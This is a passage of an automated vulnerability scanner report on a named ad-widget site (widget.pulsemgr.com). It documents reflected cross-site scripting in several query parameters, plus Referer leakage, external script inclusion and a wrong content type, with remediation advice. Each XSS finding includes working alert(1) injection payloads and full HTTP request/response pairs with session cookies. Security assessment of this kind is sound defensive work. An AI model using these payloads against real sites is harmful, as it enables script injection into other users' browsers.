Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/v18b/show2.php?width=300&height=250c3acb"-alert(1)-"0e9185376a&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604800 Date: Wed, 05 Jan 2011 02:31:57 GMT Connection: close Content-Length: 8937
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]... t("http://"+pmtoAdServeHost+"/ads/select?output=js&y27="+encodeURIComponent(getFormatedDateTime())+"&sptFlash="+bFlashSupport+"&rand="+Math.round(Math.random()*10000000000000000)+"&width=300&height=250c3acb"-alert(1)-"0e9185376a&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4 ...[SNIP]...
1.14. http://widget.pulsemgr.com/widget/v18b/show2.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://widget.pulsemgr.com
Path:
/widget/v18b/show2.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 48bc0"-alert(1)-"989e1a5da07 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/v18b/show2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14&48bc0"-alert(1)-"989e1a5da07=1 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604800 Date: Wed, 05 Jan 2011 02:32:17 GMT Connection: close Content-Length: 8941
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]... 32%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14&48bc0"-alert(1)-"989e1a5da07=1", "js"); </script> ...[SNIP]...
The value of the price request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cc963"-alert(1)-"748895b0504 was submitted in the price parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/v18b/show2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14cc963"-alert(1)-"748895b0504 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604800 Date: Wed, 05 Jan 2011 02:32:13 GMT Connection: close Content-Length: 8938
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]... 232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14cc963"-alert(1)-"748895b0504", "js"); </script> ...[SNIP]...
The value of the ptnr request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d8e96"%3balert(1)//0ad85cf93fd was submitted in the ptnr parameter. This input was echoed as d8e96";alert(1)//0ad85cf93fd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/v18b/show2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271d8e96"%3balert(1)//0ad85cf93fd&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604800 Date: Wed, 05 Jan 2011 02:32:06 GMT Connection: close Content-Length: 8968
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]... set + pad2(Math.floor(offsetMin/60)); offset = offset + pad2(Math.floor(offsetMin%60));
var pmtoPublisher = "21271d8e96";alert(1)//0ad85cf93fd"; var pmtoZone = ""; var pmtoSite = ""; var pmtoSection = ""; var pmtoCategory = ""; var pmtoBeaconHost = "img.pulsemgr.com"; var pmtoAdServeHost = "msg2.pulsemgr.com";
The value of the req request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f9c57"-alert(1)-"f7b073b7340 was submitted in the req parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/v18b/show2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863f9c57"-alert(1)-"f7b073b7340&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604800 Date: Wed, 05 Jan 2011 02:32:09 GMT Connection: close Content-Length: 8938
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]... ht=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863f9c57"-alert(1)-"f7b073b7340&bid=4.75&price=1.14", "js"); </script> ...[SNIP]...
The value of the width request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 112c8"-alert(1)-"cc988f1325a was submitted in the width parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /widget/v18b/show2.php?width=300112c8"-alert(1)-"cc988f1325a&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604800 Date: Wed, 05 Jan 2011 02:31:54 GMT Connection: close Content-Length: 8944
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]...
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /widget/v18b/show2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604798 Date: Wed, 05 Jan 2011 02:31:48 GMT Connection: close Content-Length: 8910
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]... </style> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script> ...[SNIP]...
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /widget/v18b/show2.php?width=300&height=250&ad=11217%3A11232%3Almpl.mrec1%3Acabinets_and_storage%3A24455880610111217%3A2676467270%3A0&adv=11217.cabinets_and_storage.mrec.3&bucket=default&ptnr=21271&req=e4008091-10e8-4138-8c0d-e67b6fefe863&bid=4.75&price=1.14 HTTP/1.1 Host: widget.pulsemgr.com Proxy-Connection: keep-alive Referer: http://optimized-by.rubiconproject.com/a/3346/3536/11977-15.html? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; u=11202.pid_13061445:389:f; s=3a7a/-11202.pid_13061445:90:3; t=11202:2f3:pp; n=11202:2e4:3; c=1; f=/p11217:2da:1/s11217.24455880610111217:2da:1/s11202.10725649900111202:2da:1/p11202:2e0:1
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 Vary: Accept-Encoding P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/html; charset=UTF-8 Cache-Control: public, max-age=604798 Date: Wed, 05 Jan 2011 02:31:48 GMT Connection: close Content-Length: 8910
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<!-- Common Styles --> <style type="text/css"> /* Copyright (c) 2008, Yahoo! Inc. All righ ...[SNIP]... </style> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script> ...[SNIP]...
The response contains the following Content-type statement:
Content-Type: text/javascript
The response states that it contains script. However, it actually appears to contain plain text.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /widget/v18b/templates.php HTTP/1.1 Host: widget.pulsemgr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: f=/p11217:2de:1/s11217.24455880610111217:2de:1/p11202:2e0:1; u=11202.pid_13061445:389:f; t=11202:2f3:pp; s=3a7a/-11202.pid_13061445:90:3; c=1; p=A70BFD52-10FB-11E0-953B-5E74E2862FEF; n=11202:2e4:3;
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.4 P3P: policyref="http://img.pulsemgr.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM" Content-Type: text/javascript Cache-Control: public, max-age=602837 Date: Wed, 05 Jan 2011 03:38:39 GMT Content-Length: 18 Connection: close